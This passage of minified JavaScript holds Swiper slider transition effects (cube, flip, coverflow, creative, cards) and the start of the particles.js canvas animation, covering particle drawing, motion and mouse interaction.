translate3d(${m}px, ${g}px, ${v}px)`;h<=1&&h>-1&&(f=90*s+90*h,a&&(f=90*-s-90*h),t.browser&&t.browser.isSafari&&Math.abs(f)/90%2==1&&(f+=.001)),n.style.transform=y,u.slideShadows&&r(n,h,d)}if(n.style.transformOrigin=`50% 50% -${l/2}px`,n.style["-webkit-transform-origin"]=`50% 50% -${l/2}px`,u.shadow)if(d)h.style.transform=`translate3d(0px, ${s/2+u.shadowOffset}px, ${-s/2}px) rotateX(89.99deg) rotateZ(0deg) scale(${u.shadowScale})`;else{const e=Math.abs(f)-90*Math.floor(Math.abs(f)/90),t=1.5-(Math.sin(2*e*Math.PI/360)/2+Math.cos(2*e*Math.PI/360)/2),n=u.shadowScale,i=u.shadowScale/t,r=u.shadowOffset;h.style.transform=`scale3d(${n}, 1, ${i}) translate3d(0px, ${o/2+r}px, ${-o/2/i}px) rotateX(-89.99deg)`}const m=(c.isSafari||c.isWebView)&&c.needPerspectiveFix?-l/2:0;n.style.transform=`translate3d(0px,0,${m}px) rotateX(${t.isHorizontal()?0:f}deg) rotateY(${t.isHorizontal()?-f:0}deg)`,n.style.setProperty("--swiper-cube-translate-z",`${m}px`)},setTransition:e=>{const{el:n,slides:i}=t;if(i.forEach((t=>{t.style.transitionDuration=`${e}ms`,t.querySelectorAll(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").forEach((t=>{t.style.transitionDuration=`${e}ms`}))})),t.params.cubeEffect.shadow&&!t.isHorizontal()){const t=n.querySelector(".swiper-cube-shadow");t&&(t.style.transitionDuration=`${e}ms`)}},recreateShadows:()=>{const e=t.isHorizontal();t.slides.forEach((t=>{const n=Math.max(Math.min(t.progress,1),-1);r(t,n,e)}))},getEffectParams:()=>t.params.cubeEffect,perspective:()=>!0,overwriteParams:()=>({slidesPerView:1,slidesPerGroup:1,watchSlidesProgress:!0,resistanceRatio:0,spaceBetween:0,centeredSlides:!1,virtualTranslate:!0})})},function(e){let{swiper:t,extendParams:n,on:i}=e;n({flipEffect:{slideShadows:!0,limitRotation:!0}});const r=(e,n)=>{let i=t.isHorizontal()?e.querySelector(".swiper-slide-shadow-left"):e.querySelector(".swiper-slide-shadow-top"),r=t.isHorizontal()?e.querySelector(".swiper-slide-shadow-right"):e.querySelector(".swiper-slide-shadow-bottom");i||(i=de("flip",e,t.isHorizontal()?"left":"top")),r||(r=de("flip",e,t.isHorizontal()?"right":"bottom")),i&&(i.style.opacity=Math.max(-n,0)),r&&(r.style.opacity=Math.max(n,0))};le({effect:"flip",swiper:t,on:i,setTranslate:()=>{const{slides:e,rtlTranslate:n}=t,i=t.params.flipEffect;for(let s=0;s<e.length;s+=1){const o=e[s];let a=o.progress;t.params.flipEffect.limitRotation&&(a=Math.max(Math.min(o.progress,1),-1));const l=o.swiperSlideOffset;let c=-180*a,u=0,d=t.params.cssMode?-l-t.translate:-l,p=0;t.isHorizontal()?n&&(c=-c):(p=d,d=0,u=-c,c=0),t.browser&&t.browser.isSafari&&(Math.abs(c)/90%2==1&&(c+=.001),Math.abs(u)/90%2==1&&(u+=.001)),o.style.zIndex=-Math.abs(Math.round(a))+e.length,i.slideShadows&&r(o,a);const h=`translate3d(${d}px, ${p}px, 0px) rotateX(${u}deg) rotateY(${c}deg)`;ce(0,o).style.transform=h}},setTransition:e=>{const n=t.slides.map((e=>f(e)));n.forEach((t=>{t.style.transitionDuration=`${e}ms`,t.querySelectorAll(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").forEach((t=>{t.style.transitionDuration=`${e}ms`}))})),ue({swiper:t,duration:e,transformElements:n})},recreateShadows:()=>{t.params.flipEffect,t.slides.forEach((e=>{let n=e.progress;t.params.flipEffect.limitRotation&&(n=Math.max(Math.min(e.progress,1),-1)),r(e,n)}))},getEffectParams:()=>t.params.flipEffect,perspective:()=>!0,overwriteParams:()=>({slidesPerView:1,slidesPerGroup:1,watchSlidesProgress:!0,spaceBetween:0,virtualTranslate:!t.params.cssMode})})},function(e){let{swiper:t,extendParams:n,on:i}=e;n({coverflowEffect:{rotate:50,stretch:0,depth:100,scale:1,modifier:1,slideShadows:!0}}),le({effect:"coverflow",swiper:t,on:i,setTranslate:()=>{const{width:e,height:n,slides:i,slidesSizesGrid:r}=t,s=t.params.coverflowEffect,o=t.isHorizontal(),a=t.translate,l=o?e/2-a:n/2-a,c=o?s.rotate:-s.rotate,u=s.depth;for(let e=0,n=i.length;e<n;e+=1){const n=i[e],a=r[e],d=(l-n.swiperSlideOffset-a/2)/a,p="function"==typeof s.modifier?s.modifier(d):d*s.modifier;let h=o?c*p:0,f=o?0:c*p,m=-u*Math.abs(p),g=s.stretch;"string"==typeof g&&-1!==g.indexOf("%")&&(g=parseFloat(s.stretch)/100*a);let v=o?0:g*p,y=o?g*p:0,b=1-(1-s.scale)*Math.abs(p);Math.abs(y)<.001&&(y=0),Math.abs(v)<.001&&(v=0),Math.abs(m)<.001&&(m=0),Math.abs(h)<.001&&(h=0),Math.abs(f)<.001&&(f=0),Math.abs(b)<.001&&(b=0),t.browser&&t.browser.isSafari&&(Math.abs(h)/90%2==1&&(h+=.001),Math.abs(f)/90%2==1&&(f+=.001));const w=`translate3d(${y}px,${v}px,${m}px)  rotateX(${f}deg) rotateY(${h}deg) scale(${b})`;if(ce(0,n).style.transform=w,n.style.zIndex=1-Math.abs(Math.round(p)),s.slideShadows){let e=o?n.querySelector(".swiper-slide-shadow-left"):n.querySelector(".swiper-slide-shadow-top"),t=o?n.querySelector(".swiper-slide-shadow-right"):n.querySelector(".swiper-slide-shadow-bottom");e||(e=de("coverflow",n,o?"left":"top")),t||(t=de("coverflow",n,o?"right":"bottom")),e&&(e.style.opacity=p>0?p:0),t&&(t.style.opacity=-p>0?-p:0)}}},setTransition:e=>{t.slides.map((e=>f(e))).forEach((t=>{t.style.transitionDuration=`${e}ms`,t.querySelectorAll(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").forEach((t=>{t.style.transitionDuration=`${e}ms`}))}))},perspective:()=>!0,overwriteParams:()=>({watchSlidesProgress:!0})})},function(e){let{swiper:t,extendParams:n,on:i}=e;n({creativeEffect:{limitProgress:1,shadowPerProgress:!1,progressMultiplier:1,perspective:!0,prev:{translate:[0,0,0],rotate:[0,0,0],opacity:1,scale:1},next:{translate:[0,0,0],rotate:[0,0,0],opacity:1,scale:1}}});const r=e=>"string"==typeof e?e:`${e}px`;le({effect:"creative",swiper:t,on:i,setTranslate:()=>{const{slides:e,wrapperEl:n,slidesSizesGrid:i}=t,s=t.params.creativeEffect,{progressMultiplier:o}=s,a=t.params.centeredSlides;if(a){const e=i[0]/2-t.params.slidesOffsetBefore||0;n.style.transform=`translateX(calc(50% - ${e}px))`}for(let n=0;n<e.length;n+=1){const i=e[n],l=i.progress,c=Math.min(Math.max(i.progress,-s.limitProgress),s.limitProgress);let u=c;a||(u=Math.min(Math.max(i.originalProgress,-s.limitProgress),s.limitProgress));const d=i.swiperSlideOffset,p=[t.params.cssMode?-d-t.translate:-d,0,0],h=[0,0,0];let f=!1;t.isHorizontal()||(p[1]=p[0],p[0]=0);let m={translate:[0,0,0],rotate:[0,0,0],scale:1,opacity:1};c<0?(m=s.next,f=!0):c>0&&(m=s.prev,f=!0),p.forEach(((e,t)=>{p[t]=`calc(${e}px + (${r(m.translate[t])} * ${Math.abs(c*o)}))`})),h.forEach(((e,n)=>{let i=m.rotate[n]*Math.abs(c*o);t.browser&&t.browser.isSafari&&Math.abs(i)/90%2==1&&(i+=.001),h[n]=i})),i.style.zIndex=-Math.abs(Math.round(l))+e.length;const g=p.join(", "),v=`rotateX(${h[0]}deg) rotateY(${h[1]}deg) rotateZ(${h[2]}deg)`,y=u<0?`scale(${1+(1-m.scale)*u*o})`:`scale(${1-(1-m.scale)*u*o})`,b=u<0?1+(1-m.opacity)*u*o:1-(1-m.opacity)*u*o,w=`translate3d(${g}) ${v} ${y}`;if(f&&m.shadow||!f){let e=i.querySelector(".swiper-slide-shadow");if(!e&&m.shadow&&(e=de("creative",i)),e){const t=s.shadowPerProgress?c*(1/s.limitProgress):c;e.style.opacity=Math.min(Math.max(Math.abs(t),0),1)}}const _=ce(0,i);_.style.transform=w,_.style.opacity=b,m.origin&&(_.style.transformOrigin=m.origin)}},setTransition:e=>{const n=t.slides.map((e=>f(e)));n.forEach((t=>{t.style.transitionDuration=`${e}ms`,t.querySelectorAll(".swiper-slide-shadow").forEach((t=>{t.style.transitionDuration=`${e}ms`}))})),ue({swiper:t,duration:e,transformElements:n,allSlides:!0})},perspective:()=>t.params.creativeEffect.perspective,overwriteParams:()=>({watchSlidesProgress:!0,virtualTranslate:!t.params.cssMode})})},function(e){let{swiper:t,extendParams:n,on:i}=e;n({cardsEffect:{slideShadows:!0,rotate:!0,perSlideRotate:2,perSlideOffset:8}}),le({effect:"cards",swiper:t,on:i,setTranslate:()=>{const{slides:e,activeIndex:n,rtlTranslate:i}=t,r=t.params.cardsEffect,{startTranslate:s,isTouched:o}=t.touchEventsData,a=i?-t.translate:t.translate;for(let l=0;l<e.length;l+=1){const c=e[l],u=c.progress,d=Math.min(Math.max(u,-4),4);let p=c.swiperSlideOffset;t.params.centeredSlides&&!t.params.cssMode&&(t.wrapperEl.style.transform=`translateX(${t.minTranslate()}px)`),t.params.centeredSlides&&t.params.cssMode&&(p-=e[0].swiperSlideOffset);let h=t.params.cssMode?-p-t.translate:-p,f=0;const m=-100*Math.abs(d);let g=1,v=-r.perSlideRotate*d,y=r.perSlideOffset-.75*Math.abs(d);const b=t.virtual&&t.params.virtual.enabled?t.virtual.from+l:l,w=(b===n||b===n-1)&&d>0&&d<1&&(o||t.params.cssMode)&&a<s,_=(b===n||b===n+1)&&d<0&&d>-1&&(o||t.params.cssMode)&&a>s;if(w||_){const e=(1-Math.abs((Math.abs(d)-.5)/.5))**.5;v+=-28*d*e,g+=-.5*e,y+=96*e,f=-25*e*Math.abs(d)+"%"}if(h=d<0?`calc(${h}px ${i?"-":"+"} (${y*Math.abs(d)}%))`:d>0?`calc(${h}px ${i?"-":"+"} (-${y*Math.abs(d)}%))`:`${h}px`,!t.isHorizontal()){const e=f;f=h,h=e}const x=d<0?""+(1+(1-g)*d):""+(1-(1-g)*d),T=`\n        translate3d(${h}, ${f}, ${m}px)\n        rotateZ(${r.rotate?i?-v:v:0}deg)\n        scale(${x})\n      `;if(r.slideShadows){let e=c.querySelector(".swiper-slide-shadow");e||(e=de("cards",c)),e&&(e.style.opacity=Math.min(Math.max((Math.abs(d)-.5)/.5,0),1))}c.style.zIndex=-Math.abs(Math.round(u))+e.length,ce(0,c).style.transform=T}},setTransition:e=>{const n=t.slides.map((e=>f(e)));n.forEach((t=>{t.style.transitionDuration=`${e}ms`,t.querySelectorAll(".swiper-slide-shadow").forEach((t=>{t.style.transitionDuration=`${e}ms`}))})),ue({swiper:t,duration:e,transformElements:n})},perspective:()=>!0,overwriteParams:()=>({watchSlidesProgress:!0,virtualTranslate:!t.params.cssMode})})}];return ee.use(pe),ee}(),pJS=function(e,t){var n=document.querySelector("#"+e+" > .particles-js-canvas-el");this.pJS={canvas:{el:n,w:n.offsetWidth,h:n.offsetHeight},particles:{number:{value:400,density:{enable:!0,value_area:800}},color:{value:"#fff"},shape:{type:"circle",stroke:{width:0,color:"#ff0000"},polygon:{nb_sides:5},image:{src:"",width:100,height:100}},opacity:{value:1,random:!1,anim:{enable:!1,speed:2,opacity_min:0,sync:!1}},size:{value:20,random:!1,anim:{enable:!1,speed:20,size_min:0,sync:!1}},line_linked:{enable:!0,distance:100,color:"#fff",opacity:1,width:1},move:{enable:!0,speed:2,direction:"none",random:!1,straight:!1,out_mode:"out",bounce:!1,attract:{enable:!1,rotateX:3e3,rotateY:3e3}},array:[]},interactivity:{detect_on:"canvas",events:{onhover:{enable:!0,mode:"grab"},onclick:{enable:!0,mode:"push"},resize:!0},modes:{grab:{distance:100,line_linked:{opacity:1}},bubble:{distance:200,size:80,duration:.4},repulse:{distance:200,duration:.4},push:{particles_nb:4},remove:{particles_nb:2}},mouse:{}},retina_detect:!1,fn:{interact:{},modes:{},vendors:{}},tmp:{}};var i=this.pJS;t&&Object.deepExtend(i,t),i.tmp.obj={size_value:i.particles.size.value,size_anim_speed:i.particles.size.anim.speed,move_speed:i.particles.move.speed,line_linked_distance:i.particles.line_linked.distance,line_linked_width:i.particles.line_linked.width,mode_grab_distance:i.interactivity.modes.grab.distance,mode_bubble_distance:i.interactivity.modes.bubble.distance,mode_bubble_size:i.interactivity.modes.bubble.size,mode_repulse_distance:i.interactivity.modes.repulse.distance},i.fn.retinaInit=function(){i.retina_detect&&window.devicePixelRatio>1?(i.canvas.pxratio=window.devicePixelRatio,i.tmp.retina=!0):(i.canvas.pxratio=1,i.tmp.retina=!1),i.canvas.w=i.canvas.el.offsetWidth*i.canvas.pxratio,i.canvas.h=i.canvas.el.offsetHeight*i.canvas.pxratio,i.particles.size.value=i.tmp.obj.size_value*i.canvas.pxratio,i.particles.size.anim.speed=i.tmp.obj.size_anim_speed*i.canvas.pxratio,i.particles.move.speed=i.tmp.obj.move_speed*i.canvas.pxratio,i.particles.line_linked.distance=i.tmp.obj.line_linked_distance*i.canvas.pxratio,i.interactivity.modes.grab.distance=i.tmp.obj.mode_grab_distance*i.canvas.pxratio,i.interactivity.modes.bubble.distance=i.tmp.obj.mode_bubble_distance*i.canvas.pxratio,i.particles.line_linked.width=i.tmp.obj.line_linked_width*i.canvas.pxratio,i.interactivity.modes.bubble.size=i.tmp.obj.mode_bubble_size*i.canvas.pxratio,i.interactivity.modes.repulse.distance=i.tmp.obj.mode_repulse_distance*i.canvas.pxratio},i.fn.canvasInit=function(){i.canvas.ctx=i.canvas.el.getContext("2d")},i.fn.canvasSize=function(){i.canvas.el.width=i.canvas.w,i.canvas.el.height=i.canvas.h,i&&i.interactivity.events.resize&&window.addEventListener("resize",(function(){i.canvas.w=i.canvas.el.offsetWidth,i.canvas.h=i.canvas.el.offsetHeight,i.tmp.retina&&(i.canvas.w*=i.canvas.pxratio,i.canvas.h*=i.canvas.pxratio),i.canvas.el.width=i.canvas.w,i.canvas.el.height=i.canvas.h,i.particles.move.enable||(i.fn.particlesEmpty(),i.fn.particlesCreate(),i.fn.particlesDraw(),i.fn.vendors.densityAutoParticles()),i.fn.vendors.densityAutoParticles()}))},i.fn.canvasPaint=function(){i.canvas.ctx.fillRect(0,0,i.canvas.w,i.canvas.h)},i.fn.canvasClear=function(){i.canvas.ctx.clearRect(0,0,i.canvas.w,i.canvas.h)},i.fn.particle=function(e,t,n){if(this.radius=(i.particles.size.random?Math.random():1)*i.particles.size.value,i.particles.size.anim.enable&&(this.size_status=!1,this.vs=i.particles.size.anim.speed/100,i.particles.size.anim.sync||(this.vs=this.vs*Math.random())),this.x=n?n.x:Math.random()*i.canvas.w,this.y=n?n.y:Math.random()*i.canvas.h,this.x>i.canvas.w-2*this.radius?this.x=this.x-this.radius:this.x<2*this.radius&&(this.x=this.x+this.radius),this.y>i.canvas.h-2*this.radius?this.y=this.y-this.radius:this.y<2*this.radius&&(this.y=this.y+this.radius),i.particles.move.bounce&&i.fn.vendors.checkOverlap(this,n),this.color={},"object"==typeof e.value)if(e.value instanceof Array){var r=e.value[Math.floor(Math.random()*i.particles.color.value.length)];this.color.rgb=hexToRgb(r)}else null!=e.value.r&&null!=e.value.g&&null!=e.value.b&&(this.color.rgb={r:e.value.r,g:e.value.g,b:e.value.b}),null!=e.value.h&&null!=e.value.s&&null!=e.value.l&&(this.color.hsl={h:e.value.h,s:e.value.s,l:e.value.l});else"random"==e.value?this.color.rgb={r:Math.floor(256*Math.random())+0,g:Math.floor(256*Math.random())+0,b:Math.floor(256*Math.random())+0}:"string"==typeof e.value&&(this.color=e,this.color.rgb=hexToRgb(this.color.value));this.opacity=(i.particles.opacity.random?Math.random():1)*i.particles.opacity.value,i.particles.opacity.anim.enable&&(this.opacity_status=!1,this.vo=i.particles.opacity.anim.speed/100,i.particles.opacity.anim.sync||(this.vo=this.vo*Math.random()));var s={};switch(i.particles.move.direction){case"top":s={x:0,y:-1};break;case"top-right":s={x:.5,y:-.5};break;case"right":s={x:1,y:-0};break;case"bottom-right":s={x:.5,y:.5};break;case"bottom":s={x:0,y:1};break;case"bottom-left":s={x:-.5,y:1};break;case"left":s={x:-1,y:0};break;case"top-left":s={x:-.5,y:-.5};break;default:s={x:0,y:0}}i.particles.move.straight?(this.vx=s.x,this.vy=s.y,i.particles.move.random&&(this.vx=this.vx*Math.random(),this.vy=this.vy*Math.random())):(this.vx=s.x+Math.random()-.5,this.vy=s.y+Math.random()-.5),this.vx_i=this.vx,this.vy_i=this.vy;var o=i.particles.shape.type;if("object"==typeof o){if(o instanceof Array){var a=o[Math.floor(Math.random()*o.length)];this.shape=a}}else this.shape=o;if("image"==this.shape){var l=i.particles.shape;this.img={src:l.image.src,ratio:l.image.width/l.image.height},this.img.ratio||(this.img.ratio=1),"svg"==i.tmp.img_type&&null!=i.tmp.source_svg&&(i.fn.vendors.createSvgImg(this),i.tmp.pushing&&(this.img.loaded=!1))}},i.fn.particle.prototype.draw=function(){var e=this;if(null!=e.radius_bubble)var t=e.radius_bubble;else t=e.radius;if(null!=e.opacity_bubble)var n=e.opacity_bubble;else n=e.opacity;if(e.color.rgb)var r="rgba("+e.color.rgb.r+","+e.color.rgb.g+","+e.color.rgb.b+","+n+")";else r="hsla("+e.color.hsl.h+","+e.color.hsl.s+"%,"+e.color.hsl.l+"%,"+n+")";switch(i.canvas.ctx.fillStyle=r,i.canvas.ctx.beginPath(),e.shape){case"circle":i.canvas.ctx.arc(e.x,e.y,t,0,2*Math.PI,!1);break;case"edge":i.canvas.ctx.rect(e.x-t,e.y-t,2*t,2*t);break;case"triangle":i.fn.vendors.drawShape(i.canvas.ctx,e.x-t,e.y+t/1.66,2*t,3,2);break;case"polygon":i.fn.vendors.drawShape(i.canvas.ctx,e.x-t/(i.particles.shape.polygon.nb_sides/3.5),e.y-t/.76,2.66*t/(i.particles.shape.polygon.nb_sides/3),i.particles.shape.polygon.nb_sides,1);break;case"star":i.fn.vendors.drawShape(i.canvas.ctx,e.x-2*t/(i.particles.shape.polygon.nb_sides/4),e.y-t/1.52,2*t*2.66/(i.particles.shape.polygon.nb_sides/3),i.particles.shape.polygon.nb_sides,2);break;case"image":if("svg"==i.tmp.img_type)var s=e.img.obj;else s=i.tmp.img_obj;s&&i.canvas.ctx.drawImage(s,e.x-t,e.y-t,2*t,2*t/e.img.ratio)}i.canvas.ctx.closePath(),i.particles.shape.stroke.width>0&&(i.canvas.ctx.strokeStyle=i.particles.shape.stroke.color,i.canvas.ctx.lineWidth=i.particles.shape.stroke.width,i.canvas.ctx.stroke()),i.canvas.ctx.fill()},i.fn.particlesCreate=function(){for(var e=0;e<i.particles.number.value;e++)i.particles.array.push(new i.fn.particle(i.particles.color,i.particles.opacity.value))},i.fn.particlesUpdate=function(){for(var e=0;e<i.particles.array.length;e++){var t=i.particles.array[e];if(i.particles.move.enable){var n=i.particles.move.speed/2;t.x+=t.vx*n,t.y+=t.vy*n}if(i.particles.opacity.anim.enable&&(1==t.opacity_status?(t.opacity>=i.particles.opacity.value&&(t.opacity_status=!1),t.opacity+=t.vo):(t.opacity<=i.particles.opacity.anim.opacity_min&&(t.opacity_status=!0),t.opacity-=t.vo),t.opacity<0&&(t.opacity=0)),i.particles.size.anim.enable&&(1==t.size_status?(t.radius>=i.particles.size.value&&(t.size_status=!1),t.radius+=t.vs):(t.radius<=i.particles.size.anim.size_min&&(t.size_status=!0),t.radius-=t.vs),t.radius<0&&(t.radius=0)),"bounce"==i.particles.move.out_mode)var r={x_left:t.radius,x_right:i.canvas.w,y_top:t.radius,y_bottom:i.canvas.h};else r={x_left:-t.radius,x_right:i.canvas.w+t.radius,y_top:-t.radius,y_bottom:i.canvas.h+t.radius};if(t.x-t.radius>i.canvas.w?(t.x=r.x_left,t.y=Math.random()*i.canvas.h):t.x+t.radius<0&&(t.x=r.x_right,t.y=Math.random()*i.canvas.h),t.y-t.radius>i.canvas.h?(t.y=r.y_top,t.x=Math.random()*i.canvas.w):t.y+t.radius<0&&(t.y=r.y_bottom,t.x=Math.random()*i.canvas.w),"bounce"===i.particles.move.out_mode&&((t.x+t.radius>i.canvas.w||t.x-t.radius<0)&&(t.vx=-t.vx),(t.y+t.radius>i.canvas.h||t.y-t.radius<0)&&(t.vy=-t.vy)),isInArray("grab",i.interactivity.events.onhover.mode)&&i.fn.modes.grabParticle(t),(isInArray("bubble",i.interactivity.events.onhover.mode)||isInArray("bubble",i.interactivity.events.onclick.mode))&&i.fn.modes.bubbleParticle(t),(isInArray("repulse",i.interactivity.events.onhover.mode)||isInArray("repulse",i.interactivity.events.onclick.mode))&&i.fn.modes.repulseParticle(t),i.particles.line_linked.enable||i.particles.move.attract.enable)for(var s=e+1;s<i.particles.array.length;s++){var o=i.particles.array[s];i.particles.line_linked.enable&&i.fn.interact.linkParticles(t,o),i.particles.move.attract.enable&&i.fn.interact.attractParticles(t,o),i.particles.move.bounce&&i.fn.interact.bounceParticles(t,o)}}},i.fn.particlesDraw=function(){i.canvas.ctx.clearRect(0,0,i.canvas.w,i.canvas.h),i.fn.particlesUpdate();for(var e=0;e<i.particles.array.length;e++)i.particles.array[e].draw()},i.fn.particlesEmpty=function(){i.particles.array=[]},i.fn.particlesRefresh=function(){cancelRequestAnimFrame(i.fn.checkAnimFrame),cancelRequestAnimFrame(i.fn.drawAnimFrame),i.tmp.source_svg=void 0,i.tmp.img_obj=void 0,i.tmp.count_svg=0,i.fn.particlesEmpty(),i.fn.canvasClear(),i.fn.vendors.start()},i.fn.interact.linkParticles=function(e,t){var n=e.x-t.x,r=e.y-t.y,s=Math.sqrt(n*n+r*r);if(s<=i.particles.line_linked.distance){var o=i.particles.line_linked.opacity-s/(1/i.particles.line_linked.opacity)/i.particles.line_linked.distance;if(o>0){var a=i.particles.line_linked.color_rgb_line;i.canvas.ctx.strokeStyle="rgba("+a.r+","+a.g+","+a.b+","+o+")",i.canvas.ctx.lineWidth=i.particles.line_linked.width,i.canvas.ctx.beginPath(),i.canvas.ctx.moveTo(e.x,e.y),i.canvas.ctx.lineTo(t.x,t.y),i.canvas.ctx.stroke(),i.canvas.ctx.closePath()}}},i.fn.interact.attractParticles=function(e,t){var n=e.x-t.x,r=e.y-t.y;if(Math.sqrt(n*n+r*r)<=i.particles.line_linked.distance){var s=n/(1e3*i.particles.move.attract.rotateX),o=r/(1e3*i.particles.move.attract.rotateY);e.vx-=s,e.vy-=o,t.vx+=s,t.vy+=o}},i.fn.interact.bounceParticles=function(e,t){var n=e.x-t.x,i=e.y-t.y;Math.sqrt(n*n+i*i)<=e.radius+t.radius&&(e.vx=-e.vx,e.vy=-e.vy,t.vx=-t.vx,t.vy=-t.vy)},i.fn.modes.pushParticles=function(e,t){i.tmp.pushing=!0;for(var n=0;n<e;n++)i.particles.array.push(new i.fn.particle(i.particles.color,i.particles.opacity.value,{x:t?t.pos_x:Math.random()*i.canvas.w,y:t?t.pos_y:Math.random()*i.canvas.h})),n==e-1&&(i.particles.move.enable||i.fn.particlesDraw(),i.tmp.pushing=!1)},i.fn.modes.removeParticles=function(e){i.particles.array.splice(0,e),i.particles.move.enable||i.fn.particlesDraw()},i.fn.modes.bubbleParticle=function(e){if(i.interactivity.events.onhover.enable&&isInArray("bubble",i.interactivity.events.onhover.mode)){var t=e.x-i.interactivity.mouse.pos_x,n=e.y-i.interactivity.mouse.pos_y,r=1-(c=Math.sqrt(t*t+n*n))/i.interactivity.modes.bubble.distance;function s(){e.opacity_bubble=e.opacity,e.radius_bubble=e.radius}if(c<=i.interactivity.modes.bubble.distance){if(r>=0&&"mousemove"==i.interactivity.status){if(i.interactivity.modes.bubble.size!=i.particles.size.value)if(i.interactivity.modes.bubble.size>i.particles.size.value)(a=e.radius+i.interactivity.modes.bubble.size*r)>=0&&(e.radius_bubble=a);else{var o=e.radius-i.interactivity.modes.bubble.size,a=e.radius-o*r;e.radius_bubble=a>0?a:0}var l;i.interactivity.modes.bubble.opacity!=i.particles.opacity.value&&(i.interactivity.modes.bubble.opacity>i.particles.opacity.value?(l=i.interactivity.modes.bubble.opacity*r)>e.opacity&&l<=i.interactivity.modes.bubble.opacity&&(e.opacity_bubble=l):(l=e.opacity-(i.particles.opacity.value-i.interactivity.modes.bubble.opacity)*r)<e.opacity&&l>=i.interactivity.modes.bubble.opacity&&(e.opacity_bubble=l))}}else s();"mouseleave"==i.interactivity.status&&s()}else if(i.interactivity.events.onclick.enable&&isInArray("bubble",i.interactivity.events.onclick.mode)){if(i.tmp.bubble_clicking){t=e.x-i.interactivity.mouse.click_pos_x,n=e.y-i.interactivity.mouse.click_pos_y;var c=Math.sqrt(t*t+n*n),u=((new Date).getTime()-i.interactivity.mouse.click_time)/1e3;u>i.interactivity.modes.bubble.duration&&(i.tmp.bubble_duration_end=!0),u>2*i.interactivity.modes.bubble.duration&&(i.tmp.bubble_clicking=!1,i.tmp.bubble_duration_end=!1)}function d(t,n,r,s,o){if(t!=n)if(i.tmp.bubble_duration_end)null!=r&&(l=t+(t-(s-u*(s-t)/i.interactivity.modes.bubble.duration)),"size"==o&&(e.radius_bubble=l),"opacity"==o&&(e.opacity_bubble=l));else if(c<=i.interactivity.modes.bubble.distance){if(null!=r)var a=r;else a=s;if(a!=t){var l=s-u*(s-t)/i.interactivity.modes.bubble.duration;"size"==o&&(e.radius_bubble=l),"opacity"==o&&(e.opacity_bubble=l)}}else"size"==o&&(e.radius_bubble=void 0),"opacity"==o&&(e.opacity_bubble=void 0)}i.tmp.bubble_clicking&&(d(i.interactivity.modes.bubble.size,i.particles.size.value,e.radius_bubble,e.radius,"size"),d(i.interactivity.modes.bubble.opacity,i.particles.opacity.value,e.opacity_bubble,e.opacity,"opacity"))}},i.fn.modes.repulseParticle=function(e){if(i.interactivity.events.onhover.enable&&isInArray("repulse",i.interactivity.events.onhover.mode)&&"mousemove"==i.interactivity.status){var t=e.x-i.interactivity.mouse.pos_x,n=e.y-i.interactivity.mouse.pos_y,r=Math.sqrt(t*t+n*n),s={x:t/r,y:n/r},o=clamp(1/(l=i.interactivity.modes.repulse.distance)*(-1*Math.pow(r/l,2)+1)*l*100,0,50),a={x:e.x+s.x*o,y:e.y+s.y*o};"bounce"==i.particles.move.out_mode?(a.x-e.radius>0&&a.x+e.radius<i.canvas.w&&(e.x=a.x),a.y-e.radius>0&&a.y+e.radius<i.canvas.h&&(e.y=a.y)):(e.x=a.x,e.y=a.y)}else if(i.interactivity.events.onclick.enable&&isInArray("repulse",i.interactivity.events.onclick.mode))if(i.tmp.repulse_finish||(i.tmp.repulse_count++,i.tmp.repulse_count==i.particles.array.length&&(i.tmp.repulse_finish=!0)),i.tmp.repulse_clicking){var l=Math.pow(i.interactivity.modes.repulse.distance/6,3),c=i.interactivity.mouse.click_pos_x-e.x,u=i.interactivity.mouse.click_pos_y-e.y,d=c*c+u*u,p=-l/d*1;d<=l&&function(){var t=Math.atan2(u,c);if(e.vx=p*Math.cos(t),e.vy=p*Math.sin(t),"bounce"==i.particles.move.out_mode){var n={x:e.x+e.vx,y:e.y+e.vy};(n.x+e.radius>i.canvas.w||n.x-e.radius<0)&&(e.vx=-e.vx),(n.y+e.radius>i.canvas.h||n.y-e.radius<0)&&(e.vy=-e.vy)}}()}else 0==i.tmp.repulse_clicking&&(e.vx=e.vx_i,e.vy=e.vy_i)},i.fn.modes.grabParticle=function(e){if(i.interactivity.events.onhover.enable&&"mousemove"==i.interactivity.status){var t=e.x-i.interactivity.mouse.pos_x,n=e.y-i.interactivity.mouse.pos_y,r=Math.sqrt(t*t+n*n);if(r<=i.interactivity.modes.grab.distance){var s=i.interactivity.modes.grab.line_linked.opacity-r/(1/i.interactivity.modes.grab.line_linked.opacity)/i.interactivity.modes.grab.distance;if(s>0){var o=i.particles.line_linked.color_rgb_line;i.canvas.ctx.strokeStyle="rgba("+o.r+","+o.g+","+o.b+","+s+")",i.canvas.ctx.lineWidth=i.particles.line_linked.width,i.canvas.ctx.beginPath(),i.canvas.ctx.moveTo(e.x,e.y),i.canvas.ctx.lineTo(i.interactivity.mouse.pos_x,i.interactivity.mouse.pos_y),i.canvas.ctx.stroke(),i.canvas.ctx.closePath()}}}},i.fn.vendors.eventsListeners=function(){"window"==i.interactivity.detect_on?i.interactivity.el=window:i.interactivity.el=i.canvas.el,(i.interactivity.events.onhover.enable||i.interactivity.events.onclick.enable)&&(i.interactivity.el.addEventListener("mousemove",(function(e){if(i.interactivity.el==window)var t=e.clientX,n=e.clientY;else t=e.offsetX||e.clientX,n=e.offsetY||e.clientY;i.interactivity.mouse.pos_x=t,i.interactivity.mouse.pos_y=n,i.tmp.retina&&(i.interactivity.mouse.pos_x*=i.canvas.pxratio,i.interactivity.mouse.pos_y*=i.canvas.pxratio),i.interactivity.status="mousemove"})),i.interactivity.el.addEventListener("mouseleave",(function(e){i.interactivity.mouse.pos_x=null,i.interactivity.mouse.pos_y=null,i.interactivity.status="mouseleave"}))),i.interactivity.events.onclick.enable&&i.interactivity.el.addEventListener("click",(function(){if(i.interactivity.mouse.click_pos_x=i.interactivity.mouse.pos_x,i.interactivity.mouse.click_pos_y=i.interactivity.mouse.pos_y,i.interactivity.mouse.click_time=(new 